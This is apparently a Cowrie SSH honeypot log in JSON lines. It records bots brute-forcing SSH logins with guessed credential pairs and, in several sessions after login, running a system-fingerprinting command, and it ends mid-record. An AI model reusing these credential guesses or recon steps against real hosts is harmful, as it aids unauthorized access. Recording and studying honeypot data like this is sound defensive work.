{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:17:41.431092Z","src_ip":"159.203.92.129","session":"7cf7a73a8442","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:17:41.436686Z","src_ip":"159.203.92.129","session":"7cf7a73a8442","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin456123","message":"login attempt [admin/admin456123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:17:41.450065Z","src_ip":"159.203.92.129","session":"7cf7a73a8442","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:17:41.498784Z","src_ip":"159.203.92.129","session":"7cf7a73a8442","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","message":"CMD: cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:17:41.502537Z","src_ip":"159.203.92.129","session":"7cf7a73a8442","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"cut -f2 -d:","message":"Command not found: cut -f2 -d:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:17:41.506867Z","src_ip":"159.203.92.129","session":"7cf7a73a8442","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","size":111,"shasum":"c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:17:41.521009Z","src_ip":"159.203.92.129","session":"7cf7a73a8442","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:17:41.526605Z","src_ip":"159.203.92.129","session":"7cf7a73a8442","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.200.154","src_port":57982,"dst_ip":"10.17.0.5","dst_port":22,"session":"4cf896a24488","protocol":"ssh","message":"New connection: 74.91.200.154:57982 (10.17.0.5:22) [session: 4cf896a24488]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:18:13.776983Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:18:13.781831Z","src_ip":"74.91.200.154","session":"4cf896a24488","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:18:13.998631Z","src_ip":"74.91.200.154","session":"4cf896a24488","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.224.229","src_port":49914,"dst_ip":"10.17.0.5","dst_port":22,"session":"677f0cefea6a","protocol":"ssh","message":"New connection: 74.91.224.229:49914 (10.17.0.5:22) [session: 677f0cefea6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:18:14.904295Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:18:14.908995Z","src_ip":"74.91.224.229","session":"677f0cefea6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Digital2017","message":"login attempt [root/Digital2017] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:18:14.913064Z","src_ip":"74.91.200.154","session":"4cf896a24488","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:18:15.147565Z","src_ip":"74.91.224.229","session":"677f0cefea6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test12346","message":"login attempt [root/test12346] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:18:16.133227Z","src_ip":"74.91.224.229","session":"677f0cefea6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:18:16.139283Z","src_ip":"74.91.200.154","session":"4cf896a24488","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:18:17.376366Z","src_ip":"74.91.224.229","session":"677f0cefea6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":53948,"dst_ip":"159.203.135.109","dst_port":22,"session":"e1d0efcee79b","protocol":"ssh","message":"New connection: 159.203.92.129:53948 (159.203.135.109:22) [session: e1d0efcee79b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:18:25.098922Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:18:25.103742Z","src_ip":"159.203.92.129","session":"e1d0efcee79b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:18:25.108914Z","src_ip":"159.203.92.129","session":"e1d0efcee79b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin@1","message":"login attempt [admin/admin@1] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:18:25.121145Z","src_ip":"159.203.92.129","session":"e1d0efcee79b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:18:25.170707Z","src_ip":"159.203.92.129","session":"e1d0efcee79b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","message":"CMD: cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:18:25.174899Z","src_ip":"159.203.92.129","session":"e1d0efcee79b","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"cut -f2 -d:","message":"Command not found: cut -f2 -d:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:18:25.180438Z","src_ip":"159.203.92.129","session":"e1d0efcee79b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","size":111,"shasum":"c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:18:25.195286Z","src_ip":"159.203.92.129","session":"e1d0efcee79b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:18:25.202097Z","src_ip":"159.203.92.129","session":"e1d0efcee79b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":39010,"dst_ip":"159.203.135.109","dst_port":22,"session":"24d6f935ef34","protocol":"ssh","message":"New connection: 159.203.92.129:39010 (159.203.135.109:22) [session: 24d6f935ef34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:19:07.707185Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:19:07.712035Z","src_ip":"159.203.92.129","session":"24d6f935ef34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:19:07.716536Z","src_ip":"159.203.92.129","session":"24d6f935ef34","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin@12","message":"login attempt [admin/admin@12] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:19:07.727489Z","src_ip":"159.203.92.129","session":"24d6f935ef34","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:19:07.776420Z","src_ip":"159.203.92.129","session":"24d6f935ef34","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","message":"CMD: cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:19:07.779612Z","src_ip":"159.203.92.129","session":"24d6f935ef34","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"cut -f2 -d:","message":"Command not found: cut -f2 -d:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:19:07.784641Z","src_ip":"159.203.92.129","session":"24d6f935ef34","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","size":111,"shasum":"c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:19:07.798017Z","src_ip":"159.203.92.129","session":"24d6f935ef34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:19:07.803982Z","src_ip":"159.203.92.129","session":"24d6f935ef34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.224.229","src_port":50544,"dst_ip":"10.17.0.5","dst_port":22,"session":"43a1c1aaf358","protocol":"ssh","message":"New connection: 74.91.224.229:50544 (10.17.0.5:22) [session: 43a1c1aaf358]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:19:10.424499Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:19:10.429458Z","src_ip":"74.91.224.229","session":"43a1c1aaf358","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:19:10.668988Z","src_ip":"74.91.224.229","session":"43a1c1aaf358","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"pulamea123","message":"login attempt [ubuntu/pulamea123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:19:11.657582Z","src_ip":"74.91.224.229","session":"43a1c1aaf358","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:19:12.899502Z","src_ip":"74.91.224.229","session":"43a1c1aaf358","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.200.154","src_port":50416,"dst_ip":"10.17.0.5","dst_port":22,"session":"440d0b961ff0","protocol":"ssh","message":"New connection: 74.91.200.154:50416 (10.17.0.5:22) [session: 440d0b961ff0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:19:20.876302Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:19:20.881303Z","src_ip":"74.91.200.154","session":"440d0b961ff0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384",